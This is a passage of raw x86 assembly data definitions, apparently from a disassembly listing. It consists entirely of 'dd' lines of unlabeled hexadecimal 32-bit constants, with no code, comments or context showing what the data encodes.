dd 17A4EB00h, 1336F86Bh, 126600D4h, 28FD9DF6h, 0F9609F9Ah
dd 0BA8D9918h, 5EFE0CCBh, 8F026929h, 2CFAD100h, 0CC58679Ch
dd 63253C18h, 550D4D82h, 0F081A0EDh, 50BACA28h, 0FB89ACE0h
dd 8497F718h, 0FD1948h, 4C14582h, 0F189D36h, 0ADEE6900h
dd 2A95A7B1h, 24919Ah, 0EDD4640Eh, 8500D25Ch, 7CD720A4h
dd 9CFF36h, 4987882Bh, 0E392130Ch, 437FECE2h, 84699669h
dd 149825FFh, 0D1A10095h, 9E3D5136h, 0D30224D8h, 9F942AABh
dd 0C4A0874Bh, 15AC62AEh, 1684666h, 5FF0EDF5h, 348DE208h
dd 0BB7FFA9Ch, 304C35F5h, 0C245A0Ah, 6CC0D05Eh, 9E4266Bh
dd 6E1D3298h, 330B1480h, 5D01554Ch, 0C0791603h, 41F415C7h
dd 711B3A9Bh, 0ABEDACh, 62DD7890h, 92A0A1FAh, 3600BFD1h
dd 0FF82991Bh, 85EFF2h, 2D86EC02h, 1AD68E10h, 2B746701h
dd 3EDC824Ch, 1FC270h, 4BFAAD0Bh, 927195EEh, 9B7B39C1h
dd 8F70C0C4h, 0F240006Fh, 416A26FAh, 0A1FAC9Fh, 70F30EE5h
dd 0B8D4D385h, 0B9C7C1h, 8B70A4BBh, 4F7B4693h, 2C5C607h
dd 7970510Fh, 90BDB11h, 243057BEh, 0E94FCC80h, 0D0A2322h
dd 384AEAD6h, 0CEF18400h, 0EDB2C77h, 0F0DC87E0h, 3BFC9940h
dd 0AF052038h, 0BC46B407h, 9B90BA10h, 0C573F881h, 56D139B1h
dd 0AC3FBC00h, 3C747F0h, 966F8F07h, 1BF0F95Dh, 0CB899D88h
dd 0B400AA61h, 0C822E3FEh, 23394E0Eh, 96F8207Ch, 0DB0FC4h
dd 1E73EBD6h, 0AE597701h, 785BD115h, 3FA701D0h, 0F9841F44h
dd 9202C73Ah, 9C88ACD0h, 6B46C234h, 0D2278DE0h, 0DF2A7207h
dd 0B5D719B3h, 15EE003Eh, 0FE85457Dh, 0FAF13F04h, 242FFB06h
dd 330768BFh, 6BDAA5Bh, 0D608B0F1h, 3891E2ECh, 4C80BE99h
dd 0CAC3F7D5h, 4550B41Dh, 0D2033482h, 27269DCCh, 0C73800DFh
dd 5C8154D7h, 0C850DC32h, 7EFE9F9Ch, 0BCE830E1h, 1BF9DD02h
dd 40F00FF3h, 7D93D608h, 801C000Eh, 0C435CB07h, 0AB007466h
dd 28517848h, 3CB5DE99h, 9580627Dh, 7E25C41Ch, 970A6EE9h
dd 8057FEF6h, 0EFA75D82h, 0CAE07546h, 6C4833F1h, 0CE2F7D18h
dd 20DDC5Ch, 9F459D15h, 554D4C80h, 57001BBCh, 0E44CCD69h
dd 92B9144h, 7454CC0Ah, 49B48C24h, 60B900D4h, 0C0BCF5C9h
dd 0FDB6FBF0h, 6718B9D8h, 0CD29074Fh, 78FA4989h, 0E3240300h
dd 56D7EFDh, 28860F0Ah, 0E0304416h, 5D83D85h, 0AC797AFAh
dd 0B88C4219h, 2840D99Ah, 500AB0E6h, 1CEBDF56h, 2A769043h
dd 52084A0h, 91986202h, 6CE44722h, 0D93C02F5h, 7268D180h
dd 0B20046ADh, 0BE031F51h, 0AB7CF58h, 3196FFF7h, 0B68405ECh
dd 5071C70Fh, 6D9D3A6Fh, 9C155800h, 5E98DDDh, 2AD10095h
dd 5F3919A8h, 8906E746h, 30A5DF2Bh, 0C38D0090h, 15CE74AEh
dd 9928ED38h, 0AF78D0A8h, 5F085A00h, 0D5BF3962h, 0BAB90C40h
dd 3220E11Ch, 348C9B24h, 0C156260Ch, 603F499h, 0A1145784h
dd 28188829h, 1321AD62h, 9B5B060Eh, 0C034A43Eh, 8F53D83Ah
dd 23A0C42Ah, 530C6BDh, 0CC9F2661h, 3E900888h, 4AE26882h
dd 88384467h, 10AE9CF8h, 3D3E56h, 0DE578F6Ch, 0F0CD185h
dd 0AB407348h, 0DF7EB8E0h, 589A30B5h, 6818C882h, 0F90137C2h
dd 2B98AD6Eh, 785D19BFh, 2A16B800h, 6D5E01BBh, 6B410394h
dd 0A83C3013h, 0DB5AFC1Ch, 0E2849C02h, 0A130489Fh, 3F735C40h
dd 5A0AB400h, 0BA329E49h, 0F3642F04h, 489CE96Ah, 40DEA10h
dd 0A382AB8Eh, 89989093h, 0B72C9F53h, 310029C8h, 0E69BF9A8h
dd 3268A70Eh, 28C115B1h, 2354241Ah, 0EE24C47Eh, 709E7856h
dd 3040DE92h, 4F973FC3h, 3D050060h, 170A2F8Eh, 4513B936h
dd 6000F6F0h, 69BC3089h, 0F47CDAh, 0FDB8AD3Ch, 258F4FE2h
dd 0EE1B1700h, 86350288h, 0CA3918DDh, 73D310EAh, 1F724201h
dd 40780408h, 0EC01DA45h, 0B47A23A3h, 0FB853E4h, 0E72D1C13h
dd 8ACA70E1h, 0E0E5C4ABh, 361F0402h, 60DA9231h, 0DECB00h
dd 279805F6h, 3832D351h
dd 49ED0B1Eh, 0C7A8C282h, 67E0801Dh, 2687EB4Ah, 159B7F2Fh
dd 6200844Ch, 9384B24Eh, 4D56E3E9h, 0AB007ED8h, 2F0D66FFh
dd 9B1C05B3h, 435F1EDCh, 0A0045CDAh, 80BC0AA7h, 2242D826h
dd 0AF09913Fh, 23796335h, 0FFEEB604h, 0A20D4085h, 8C414270h
dd 0C30A444h, 24B64DD0h, 7D7684h, 1D54C8D1h, 96B091BAh
dd 9EB827F6h, 0B9EBC701h, 0D428A4ECh, 0D8760828h, 9C3E712Ch
dd 46A61300h, 50B354Ch, 0D247853Dh, 42C08110h, 0C1084023h
dd 1B1F93EAh, 1CBB26C3h, 138CC05Ch, 0B1E3F1C4h, 36E6033Ch
dd 1907983Fh, 865D179Dh, 2C34968Bh, 400436BDh, 576F21C7h
dd 0F83E5D98h, 0F5007B1Ah, 754B1C71h, 247CD220h, 10C46C8h
dd 506AA9CEh, 0E43C64B2h, 58B07800h, 2B43CBC9h, 6084A85Ah
dd 0B3B11418h, 0F7865445h, 0A07C6C1h, 9891D7CFh, 64DA1100h
dd 0C5D0570h, 824BFCABh, 255C58Ch, 60139BC7h, 2A37EA4h
dd 0EC2AF650h, 448D7CAh, 6E77F8D9h, 9880A8BAh, 0BC002482h
dd 65DC662Dh, 60C72EBDh, 2F85817Fh, 84A9846Fh, 60C4637Dh
dd 0C9B32AC8h, 6CB52EACh, 438482E0h, 0A09CFCD6h, 8E647628h
dd 0E65C64EFh, 0CF5DE71Ch, 24E19540h, 0B09D2ABBh, 2CC503F0h
dd 17AFD5DEh, 4519A0EFh, 5401987Eh, 5C24C9B6h, 28253CC3h
dd 750F987h, 0D2AE502Dh, 5B001353h, 0EE4C7D01h, 2E4B43B1h
dd 9364B4DAh, 0A3B0479Dh, 443A1051h, 0BC3AD2BBh, 182CCC94h
dd 72A10C41h, 0D4C00F6h, 5669781Eh, 0DF018C89h, 1A12772Ah
dd 84202336h, 936200DEh, 0BC96BF60h, 75301EA2h, 4D0846B3h
dd 0D0722829h, 0D63B03BCh, 0C1F84650h, 270BCA00h, 0CF0310FFh
dd 97217A6h, 0C5704065h, 0FAB5BD5Ch, 536C2848h, 93F8D0A4h
dd 903854h, 6D593DC1h, 16757BA1h, 62AA6943h, 23203EC8h
dd 785CFF0Fh, 56D0A8B8h, 0A08717DDh, 905800F2h, 0B81AEC96h
dd 0AFE4738h, 38AF28BDh, 1049449h, 1DC6AAC2h, 632529CAh
dd 1C18D2A8h, 248E61h, 41B5F87Dh, 34FF683Dh, 1A0D738h
dd 0C6C4C16h, 0D8228C0Ah, 98008494h, 0D3CE2D26h, 6F040D2Fh
dd 0FE1CD547h, 7C4A20A0h, 0F7DB09C6h, 0C18D85Dh, 0FC02B32Bh
dd 71395FEEh, 0AE48498h, 4DD9485h, 5C871DF4h, 40088852h
dd 0D440FBD5h, 6BB98288h, 8C801984h, 0A8AD439Bh, 386D8CB1h
dd 38518822h, 0A022DC0Dh, 0D432A61Fh, 1B008B1Ch, 9B0F1E87h
dd 0A8016C68h, 286104Dh, 60FAED26h, 8F1DC4h, 0E2D9AA66h
dd 5446C090h, 16706A60h, 38442C9Fh, 45068F88h, 0A0D19278h
dd 0A47AFC80h, 2D766900h, 982FB8E4h, 97C200F7h, 0F6DF0E49h
dd 0C4B9993Dh, 0A05E148Fh, 8D0172EBh, 27F47Fh, 0C3A50892h
dd 14A168FDh, 7EF9A304h, 0F0DBD0C5h, 324E9700h, 84E2831Fh
dd 88CE5A01h, 3B78286h, 7C45FEF4h, 99CC0EACh, 0C8F2B44Ch
dd 3F0033C4h, 32DFB74Ah, 1615F89Ah, 0D77FF3h, 2813695Ch
dd 0B52C641Eh, 0F586047h, 462D16EEh, 141693h, 344945D6h
dd 0E4963C0Eh, 4E44A8AAh, 0C3C4216Dh, 1DCA903Ah, 0B63800D3h
dd 7D226121h, 0B500A173h, 0F2AC2C28h, 21DB3010h, 80258491h
dd 0A7CBD664h, 1446E66Ch, 5438416Bh, 0D8E4B4A7h, 4F7AD8D8h
dd 47E02E00h, 8A442670h, 0E4200DFh, 2F0C3B30h, 0CBF4CDA2h
dd 58345929h, 0EC315202h, 62E44958h, 9B932F20h, 8030A57Ch
dd 0CEF2E495h, 0A4B134B0h, 68E2D2C2h, 4CFE880h, 0BBB42414h
dd 689480CDh, 9096DB8h, 0F01072h, 8DB5986Ch, 862400EEh
dd 2FA213B2h, 256BD2CBh, 0A36C09D8h, 0FC3E4634h, 0D0823781h
dd 8850C3D5h, 6B81DD7h, 77056ED5h, 0E48061F5h, 14021E61h
dd 0FA98EF63h, 0F13C680Eh, 33A402D1h, 0FF6411B5h, 0ABAC7440h
dd 0CAC08665h, 6E9BC840h, 255430h, 0E41D762h, 0FB762196h
dd 5C872202h, 6DF9BD4Ah, 8ABA1200h, 1ACA1D5Ch, 9C326B40h
dd 16FEEFh, 0CB672762h, 658F3B79h, 82E07739h, 7FA8B3FDh
dd 515CE8A7h, 0D0DF5972h, 2E99C408h, 820802Ch, 4B13D8C2h
dd 6A888532h, 0AF77AC80h, 0CCCA0211h, 46BEEC4Ah, 7AEBCAC0h
dd 0B1F46209h, 0B5EC98F0h, 0E08A0049h, 531293FCh, 0D0050F43h
dd 74016125h, 0E87DFCC0h, 61D3164h, 20762710h, 8A1D04A9h
dd 9844DDDCh, 70F0C0BBh, 7C2100A1h, 29424302h, 4702B019h
dd 734ED7C9h, 5250C224h, 534B2D4h, 0A8A2F38Ch, 92A8CCABh
dd 1EEB3302h, 0E964F273h, 49CC4C14h, 0E8E50794h, 0C0BD8615h
dd 1C56437Bh, 0E3EB570Eh, 598C8016h, 5DE0B9FEh, 7501B498h
dd 0AA03638Eh, 1F987077h, 2549EC79h, 5B5002E4h, 0E0EFC755h
dd 0F53B2A3Ch, 812C24h, 11F04C2Bh, 0FBE646B4h, 0D95DB80Bh
dd 3FEE8074h, 9E06446Dh, 429A843Ch, 3E84E09Eh, 8CB4D300h
dd 58FDD0A5h, 0A049221h, 0B581A62Bh, 588A2ECh, 0BFF5FAF2h
dd 80242430h, 3EDAE4D8h, 0E779A702h, 80FB958Dh, 0BEC269F8h
dd 7A82299Fh, 1061260h, 574F7312h, 7C39F445h, 0A7511262h
dd 0A4B0E0ABh, 0B05764Bh, 0BD27DD0Ah, 6930588Ah, 0DCA170E7h
dd 98381B93h, 0CC4B5926h, 6C47100Dh, 1A64C441h, 0CC00F9D6h
dd 83AA67A0h, 604A0284h, 7F275D48h, 78C61842h, 1C0E3F26h
dd 2C99AE98h, 6A4900E2h, 0D9884624h, 69FFE060h, 0FDB440ACh
dd 74A0C7EEh, 4C2479FBh, 0F1679CFAh, 0AF001D7Eh, 1B33730Ah
dd 0C887001Eh, 3C30E9A1h, 0E325B956h, 0C90C805Bh, 0C5DADDh
dd 5F5121A4h, 0D3D2F30Ch, 96C8D960h, 51072F03h, 89F8803Ch
dd 0E74D008Fh, 0D21A81BCh, 4C4846E6h, 634780D4h, 5CEA217h
dd 8CC715C2h, 0BF949065h, 0C458D253h, 94428074h, 10E727Ah
dd 8B1662C5h, 30CBBD80h, 0BA4CC82Ch, 0C2130068h, 17C91207h
dd 36821E41h, 59C4C26Ah, 0A4608123h, 1C9C768Fh, 2DDF4980h
dd 25CC5F8h, 0D611BAB6h, 50486D92h, 0F4BD144h, 0D0007813h
dd 8884E1D5h, 0D70B0533h, 0A23D3453h, 0D520194h, 473FB52Dh
dd 2100D832h, 22CE6943h, 6B0258CCh, 3B72B496h, 0D2A48036h
dd 7123D0CAh, 47E300A5h, 4C03E68h, 7800A2D5h, 0D23B91A9h
dd 5088BCD9h, 388EF876h, 1530C36Ah, 66571BC6h, 343E1C13h
dd 96DB2C01h, 0C0668475h, 6562AD00h, 0EEECCD98h, 0AF383B12h
dd 20B44C40h, 94052111h, 0B2FA0220h, 0D0506540h, 192D14B1h
dd 442C1C04h, 0AD00F748h, 1BE2B912h, 0FF072751h, 1F01BA16h
dd 78B4C914h, 17840041h, 0F56732CFh, 8224C258h, 0AC817CB3h
dd 4BC96E46h, 0FA1CA04Ah, 884A93F0h, 295B2B00h, 1A3E40Bh
dd 9F3F72B5h, 0E820B040h, 8FDB5CD5h, 29896800h, 0F1B6A1D0h
dd 0E222BE00h, 286E27F4h, 0A0735054h, 0E04E1F5Ah, 52D70178h
dd 0E4A6F2D6h, 810288AEh, 0D3CEA0A8h, 6F8C4224h, 6C8194D8h
dd 3B986400h, 0A4DCDB02h, 0D47E8FE8h, 9EA3B31Fh, 13925340h
dd 7C0E94Ch, 26BA8B03h, 562E20F4h, 140B06C5h, 0C0172B77h
dd 2A12423Ch, 0BC80452h, 5A3973F9h, 0E00FDCC5h, 80A36525h
dd 272758A4h, 0EC2029ADh, 637DEECCh, 5D954305h, 18C428C2h
dd 0D44CC841h, 0EC504DE3h, 0C31CCBC6h, 73FBB6F1h, 0BB3763B8h
dd 0C539C01h, 0A4144A61h, 60792020h, 0F58F9834h, 0C0070E5Fh
dd 53F364Ch, 0B847BE73h, 201095h, 0D7E689F3h, 0E164A950h
dd 0DC0AF8A9h, 5A001DC6h, 0F18BDC5h, 28E27FAAh, 5C172Dh
dd 38B020C6h, 0C45AE1B1h, 6648A0F6h, 73C2DE4h, 2A60C8F4h
dd 0B0FFD34Ah, 9B1075Ch, 0C5D64C57h, 468256Fh, 80537F60h
dd 99076644h, 0F49104B0h
dd 58E0FD47h, 45DA2B3Ch, 28EC54BCh, 0E7321390h, 6007F0B8h
dd 32CC18h, 18C76F29h, 0D1BD0E08h, 83F51713h, 97E6C9Ch
dd 848629D2h, 8AA62880h, 972ECDA8h, 5422481Eh, 0C9EF2Fh
dd 82AB580h, 3EDC0040h, 9157E8FCh, 2300556Ah, 6BCA2243h
dd 9C7AA40Eh, 40677A58h, 39492C80h, 5A4243Bh, 0C9C133FAh
dd 0C0CFB9h, 0AC40A815h, 7131534Eh, 34EC0069h, 7A573E75h
dd 35300DA4h, 8ED661E1h, 72B200B7h, 30B00401h, 0A4A0234Ch
dd 9E00C6D7h, 0DAE0DD8Bh, 0B59F4AEh, 191D76EFh, 510A3800h
dd 0E41DF93Ah, 0DB40EAB3h, 1BF56E23h, 5FE62610h, 42FB12ECh
dd 8B319520h, 44001870h, 1D2738FCh, 7CE813C5h, 0CC4C5987h
dd 2ADB54A3h, 4A9803C5h, 5998AA4Bh, 6A5E9076h, 0C34B053h
dd 0C82882Ch, 0CBDACAD9h, 0B17ECF1h, 0F4803EAEh, 0C09DE467h
dd 0DE086831h, 0B00F00Ch, 0FA4E5D12h, 7D03CE7h, 8F18A5F1h
dd 21A2D002h, 0E16095FDh, 51275FA8h, 0DB752CF2h, 73ED0385h
dd 0CCD02918h, 542D5A2Ah, 0DD580208h, 0AA1040B5h, 0F4EA00E5h
dd 5BD5B14Ch, 0BE13E603h, 0FC919E29h, 4CDC853Fh, 8F8C1F46h
dd 0A07758D7h, 9C00DFA8h, 91EAD02Ch, 9E74F85Fh, 4F8DE0C4h
dd 21390AE1h, 7AAB81A4h, 11CF4281h, 0BA40F468h, 0E87D122Ch
dd 0A390246Eh, 5CC0C4BCh, 5500A88Bh, 0F01290Ah, 164CFEB5h
dd 7CB602F4h, 79302AC8h, 3EF80044h, 832B6991h, 38481648h
dd 1C13F0A9h, 0B0C7A213h, 0F35090B7h, 12FC083Eh, 90F750D9h
dd 0C4E9C768h, 92E44C58h, 5F481CC6h, 7BF460A0h, 0D001D637h
dd 0C517082Dh, 0E3701603h, 0B261073Ch, 3F6DA876h, 5AE717F3h
dd 0CCF34940h, 4069182Ch, 9CC8218h, 85780D54h, 81971051h
dd 73A63030h, 0B1523D74h, 0C1E1101Dh, 3545B3F2h, 58502DC2h
dd 0CD1386Eh, 0E070F991h, 5C0800B2h, 0F4F8D54Fh, 5D1DE290h
dd 0E18009C9h, 92BCDB24h, 60E42DBBh, 7E17B414h, 0FC40C0C6h
dd 472B3FCAh, 80609C9Dh, 14646A26h, 7D0B933Ch, 688BC127h
dd 24B9CBA4h, 381824Ah, 92884960h, 0D5FFA680h, 1A374F12h
dd 587030B5h, 3E650045h, 0CF9A39ADh, 0A300EEFAh, 6C49A982h
dd 123793B2h, 0A451D4C2h, 0C52CD144h, 0D5801066h, 6D6A202Ch
dd 6CF00A7h, 79FA6597h, 8248170Fh, 0C7510039h, 99246BA2h
dd 6308005Ah, 173355Eh, 0EC91168Dh, 84D92830h, 46ED02FDh
dd 0F75ED70Dh, 7800E064h, 638D1B75h, 0F037B877h, 0AA1512B4h
dd 0E80FE004h, 5CB52C13h, 0E074D854h, 5C12886h, 0E9D34B85h
dd 20B87745h, 136F1192h, 0E925FB00h, 0CDF5769Fh, 0ECEB58A8h
dd 2014B4B0h, 0CD48B28h, 0FE809494h, 0DFC03DD7h, 8D103B4h
dd 72E45E8h, 0B34994F8h, 41004092h, 0F68ECAF7h, 778C8340h
dd 95C712AFh, 0A158B26Eh, 0B660E967h, 20BC4B5Dh, 0EB0BCA78h
dd 96397760h, 0AABC2FBh, 0C1084B21h, 1F518960h, 57117C80h
dd 0C4010FF9h, 64C563DDh, 122A10A9h, 0BA5CA5C4h, 7E367CF8h
dd 0E0B959h, 40DD1C78h, 95E98091h, 9BA09450h, 3522571Ch
dd 6FFAF282h, 0BC3048C9h, 193E3CEDh, 3BFF9500h, 2734CCD2h
dd 7161EE0h, 2C95A004h, 28984A0h, 0B7F67B31h, 0B054991Eh
dd 0B4AB62E0h, 0A69D036Bh, 0B00274EDh, 985344F7h, 9D008FF0h
dd 0EC6F08DDh, 7AF2FEh, 0F1831D21h, 0AC365FD2h, 3C2861E3h
dd 790880A4h, 285D657Bh, 983B07h, 5BFCBE42h, 32977C56h
dd 2739EBA0h, 0E06ED0BEh, 9C957543h, 7AA60974h, 586817BAh
dd 68008567h, 0D1FADFE0h, 1C98DE6h, 7A0297F6h, 0C41386C7h
dd 74B029A1h, 2ADDD000h, 0D6437EB7h, 7BDB0995h, 70717221h
dd 0E5D2BB8Bh, 94B88020h, 0E063ABCFh, 0ADD919C0h, 4F3412D2h
dd 0E0B034C2h, 380757ECh, 431203Bh, 0F7FBDCE0h, 8A253B6Eh
dd 6787740Fh, 0C0D47F62h, 5381AE40h, 0E2D5150Bh, 690C0FB4h
dd 92E0E65Ch, 0F2541E7Ch, 225E8058h, 0B615AE94h, 7C2F9F00h
dd 34CA76Fh, 0C6020086h, 5161CDB5h, 0B3000A79h, 97425EC7h
dd 0B11BF8FEh, 88E6EB4Ch, 4022D75Bh, 0EABFE1ACh, 0CC40E0CEh
dd 9A150023h, 0DA42B812h, 0D15C0767h, 28325A5Ch, 19D880E6h
dd 6BD0F8h, 0F9B8C14Eh, 0BF7B7A1Ch, 80C9C09Ch, 27C22AA0h
dd 0E881052Ch, 88C19186h, 7C156258h, 3BB8DCD8h, 481A93F6h
dd 741989E8h, 202F1991h, 0FB006D64h, 1A11E9C3h, 0D886AEh
dd 8E75DA03h, 0A7BB7E98h, 0BEC8F0A3h, 62136A84h, 0C8D410h
dd 8768909Eh, 333F09FCh, 77532840h, 73007CB0h, 0BFBBC2A3h
dd 2C188AEh, 9086263Dh, 8C7BBC74h, 0FA3C242Fh, 2604ECE2h
dd 0C1816BCFh, 4028CE3Eh, 0F1C58CC9h, 0F70B909Ah, 18D4F96Ah
dd 7B0C5398h, 0EB7B2ABEh, 9C175DCh, 51118B8Ch, 81525C20h
dd 8511EDB3h, 630459EAh, 0F69D9403h, 2251002Ch, 49CE44F9h
dd 726705A4h, 95F361E5h, 0E4F0D8B0h, 11BB5F07h, 87C1F804h
dd 71802B6Eh, 9C36AC2Dh, 9700AFE3h, 85E8AE15h, 885CE0B7h
dd 733092FFh, 0ABF4312Ah, 0F9770081h, 0B007D426h, 968E35h
dd 10C7AA40h, 31206566h, 43FCF122h, 0E6917BA4h, 0E3B9C43Ch
dd 97A24804h, 0B9C13B8Eh, 51C82404h, 4364969Ah, 1AC066FFh
dd 0F207970Eh, 0DE3E10BBh, 7855C950h, 97989A1Dh, 644024B2h
dd 0F3028813h, 3722520Fh, 3E1C5036h, 0F802D9C1h, 9C4F050Bh
dd 10BB68F3h, 0CF4AD1B7h, 0C81B0B2Ch, 0F32480EEh, 7AA2B57h
dd 5490E27Dh, 0F278A28Bh, 500EA044h, 0BE65055Eh, 55104642h
dd 62C0519Eh, 4CCCD464h, 0F82EB49Eh, 24A352D0h, 81641362h
dd 16C8A70Ch, 82BC69F1h, 6076E1C5h, 0B834E00h, 0CCF01E55h
dd 0B08AC420h, 521F2FDAh, 0D442067Eh, 74C81F48h, 30896D9Ch
dd 0FA09B865h, 20B34317h, 8334A858h, 16F40B8Bh, 4CB01557h
dd 0F527711Ch, 1046514h, 27136087h, 7C1D2AA7h, 70450FFDh
dd 0B23B20FCh, 137E059Eh, 26B51C22h, 2C90412Ch, 17273776h
dd 0A8B0909Bh, 1247DAFh, 0B17D9D3Ch, 2CCAC381h, 9244D178h
dd 38082Ch, 19E95A84h, 134D1543h, 2CC4284Dh, 0F0F94AAh
dd 0EB8C4067h, 91AC4EF9h, 167DEA84h, 76950056h, 1C10FB4Bh
dd 0DC80734Fh, 0FDEC3492h, 0A865F1F4h, 91146B0h, 4D41B32Bh
dd 4A13C4F2h, 1F00C2BEh, 438FE802h, 235630D8h, 9F26E669h
dd 98B8DC60h, 9A7F6Ah, 12BBFAFDh, 67F49117h, 48FE1118h
dd 24C54A31h, 0FC21C6h, 0F0B3A447h, 0EE07D259h, 0E9C993A5h
dd 1C843AA0h, 0F4D75218h, 4178ED18h, 8914E97Ah, 2F8DF6Ch
dd 0D90B6B42h, 40F8408Ch, 29D360C7h, 0E362F4D5h, 6300EC90h
dd 2D3B3F0Bh, 0FCD029BEh, 0D7981Dh, 26117A76h, 0AB8BD3EBh
dd 0C9C13412h, 0E2AD68B0h, 5D3112B6h, 0AEB440A8h, 0D6F5D40Ah
dd 0CDC0431Eh, 8C037252h, 90A967E7h, 790E54h, 0D018BF4Eh
dd 69ED6A31h, 0F0805C91h, 67762EC0h, 5BB50923h, 365101h
dd 0B9762D09h, 25CCF984h, 74797441h, 0BBFAB574h, 0C3B4CD59h
dd 348B9Eh, 0F5F939B1h, 3FD85DFh, 349CC14Bh, 0E2BBF2C5h
dd 217F00FCh, 0E96515E8h, 0CB007C3Dh, 0A78D96F8h, 13A9C742h
dd 24BFF451h, 0F064FC30h, 3B5CBA38h, 970B9599h, 90C4BCC0h
dd 40664D00h, 5CD5943Ah, 0A3DC0056h, 0A9946EFh, 2E01FA36h
dd 7EE655Ah, 0F42D8CB1h, 6135A906h, 1279D1ACh, 9CF4C824h
dd 0A9008CA0h, 80A5C70h, 16A4190Fh, 4F9B433h, 0C01DE828h
dd 0CD6C07D2h, 0F8B6830Fh, 0DE7840C0h, 3BF7537h, 649F1EC7h
dd 0C88DEFFCh, 0AB3B8C04h
dd 0E40BFECEh, 482E47F6h, 0B678FCE8h, 5CA069C8h, 5157602Ch
dd 6D0E4100h, 18F384ADh, 127C2638h, 6F52C09Ch, 2B2F40C3h
dd 4A043847h, 0CC0B27Bh, 96E7081Fh, 8C4E9CF1h, 602A2039h
dd 0D15532FCh, 29C57931h, 0F6AB6CBh, 69376C9Ch, 0D2FC68C4h
dd 0C85828F7h, 5A99E900h, 30B59705h, 0FC888298h, 200ACA8h
dd 0C65CB9FAh, 0A1205CDh, 99BBF569h, 504ADCh, 218A73EFh
dd 0C6005988h, 0D287D19Ch, 2E103DEAh, 250456E1h, 0A049096h
dd 1C02B630h, 7A9FC0E4h, 0C000BED1h, 0D93CDA4Eh, 9C417100h
dd 58E3E42h, 2F2D0F6Dh, 40574DAFh, 0E2AC0B00h, 0D14AB92Bh
dd 45F12807h, 0FA606C27h, 3A8DFDCFh, 90D4D6DBh, 0E5BF01D5h
dd 62797B1Dh, 40172A03h, 2D8030CAh, 5E91B9D6h, 78A2D400h
dd 2803F8Bh, 288616EBh, 60DC87BAh, 0DBD7576Fh, 0F502F492h
dd 1C062691h, 0BB5461BAh, 62A6F4h, 735E9F10h, 0C69CFAB3h
dd 0E4E0FD00h, 8A33BA55h, 0C306256Bh, 0C14EFED8h, 2A3F6429h
dd 68005FA0h, 0D654204Ch, 3E4E0295h, 0D9D7B476h, 0E88A3C40h
dd 94600605h, 44CAAA20h, 0D0B7E208h, 0D6006C28h, 20475782h
dd 5C9CDDh, 2EB8BB6Eh, 53DC8ACBh, 2488AE1Ch, 0E08740C0h
dd 16D2F9C7h, 9C0D853Fh, 7D2A6804h, 0C380ACE9h, 9B5A53EFh
dd 0F04BCC88h, 0F69E029Dh, 86A711BBh, 1B80204Dh, 46FE3864h
dd 789095A4h, 0CC06DA92h, 0C1563F67h, 69D8BC80h, 2784E8FBh
dd 0DCBC0DFBh, 4E3BC380h, 9A007824h, 3C7622C2h, 33298C18h
dd 35282BABh, 2108AE4h, 4C4FD95h, 8020D4E3h, 0D4F0AAD3h
dd 2095F242h, 0B9EF60FCh, 2CCA1E74h, 38466DB6h, 7F96D31Eh
dd 7D0294EAh, 0AC1058CAh, 0A6B060E9h, 2825FB61h, 0ECCB7740h
dd 74144831h, 0F9CF5784h, 30E2D29Ch, 0A9559A01h, 6EF56BB6h
dd 4BB0804Fh, 2B84E002h, 41B0091h, 0AD1D6ADEh, 0CE6A6F49h
dd 0A7005850h, 6A00A5Ah, 39AA0056h, 1A6FE49Ah, 1C09BC77h
dd 0A447527Ch, 0CF800794h, 98F826B2h, 27342C3Ch, 61280C4h
dd 0D10EB9C5h, 3A39E204h, 9CD4B063h, 7AC050BCh, 0F2F4A6CEh
dd 0C70C0A0Ch, 90FB019h, 0E8C557BBh, 80394503h, 6DCE4BE0h
dd 307C5000h, 46620408h, 385B498Fh, 0E047980Fh, 0F0333849h
dd 944C692Bh, 6002024h, 0BD76E1ABh, 839C9118h, 46B36408h
dd 1C5BA8A8h, 0E7E0D658h, 47848FF1h, 9BD25F4h, 41E765F4h
dd 0DC681409h, 420011B9h, 2AB8678Fh, 35FDD6h, 2653ECBFh
dd 871F375Ah, 0F73C61F8h, 0D86B0B42h, 1EC38082h, 9FC9DCh
dd 323FACBAh, 0FBADF7A5h, 1278B494h, 80B90034h, 861A53EAh
dd 0D62F77FBh, 852C8042h, 9032889Eh, 65E0AD8h, 818C4014h
dd 11C4693Fh, 2D1A6086h, 0CD991627h, 0DC39A5B0h, 0D5B88BB1h
dd 72645983h, 839FF870h, 0C8BEECFCh, 6815059h, 669749FBh
dd 6C0078D0h, 0E0FA463Ch, 2EDE2DA5h, 2D8CBC87h, 0C8F1309Ah
dd 0B5AD0A00h, 182854C4h, 6167EA5Ah, 1B068BE7h, 18AB1983h
dd 0C6311699h, 0C7C4B21Eh, 7510CEF1h, 7AC4DF2h, 3D6748DDh
dd 32EB06Bh, 164DD5E1h, 0F0CE92C4h, 5AB76307h, 8581903h
dd 9E654D01h, 0DD269933h, 0F47248CDh, 0B82C0048h, 869838F7h
dd 1F0449ABh, 0A8C87A5Bh, 8CD0F50Bh, 57FA0Eh, 80C5F12Fh
dd 8259580Fh, 0E2EDEBA3h, 0E770480Ch, 356A94A0h, 69641680h
dd 0CE500E7Ah, 0A88A1D60h, 727E907Fh, 0F898A54Ah, 0B5AC2A99h
dd 7DBF07F4h, 0D0AD2C24h, 0BD948122h, 0C0E41A15h, 2C3E83E8h
dd 59790053h, 680DB119h, 80F95E3Fh, 36EFF349h, 0D51AFFh
dd 4280D7B7h, 0A8D3CC26h, 134C2E79h, 0B08DA5D8h, 58F6A845h
dd 5131C603h, 0ADD87532h, 7A0E8452h, 40B99046h, 6E7D33ACh
dd 0F89D006Fh, 4B5F397Ch, 670569BBh, 60857975h, 9CBCCA85h
dd 392CA0D7h, 0D97E240Ch, 13F369E9h, 0A20D2393h, 726B894Ch
dd 0F7ED0088h, 0E9D904Bh, 3B60FF17h, 10DC3DF1h, 5649676h
dd 408FE7AAh, 0D18D9590h, 0B40BACBBh, 70546Bh, 0B0E2A574h
dd 0F3DF001Eh, 0F5437B32h, 203D7821h, 863C8112h, 25BB2802h
dd 0B5A0207Bh, 5C04943Fh, 0FBEC25Eh, 0D459F0C0h, 2E0A0012h
dd 0F62A4396h, 109130BFh, 14615CA9h, 6864FA20h, 6921050Fh
dd 0EF88807Bh, 82F2E303h, 4FB879C0h, 3D2C8570h, 20022EA0h
dd 0A0097CA1h, 0CBB112ACh, 8D245FE6h, 10E44040h, 0BD7F7FF3h
dd 0C0F0B300h, 0F4D00DB6h, 9789C3A1h, 47F075CDh, 215BF1ECh
dd 0BBF5E493h, 0D9D09F2Dh, 0A0023E35h, 6FC78Ch, 9F3A5FFh
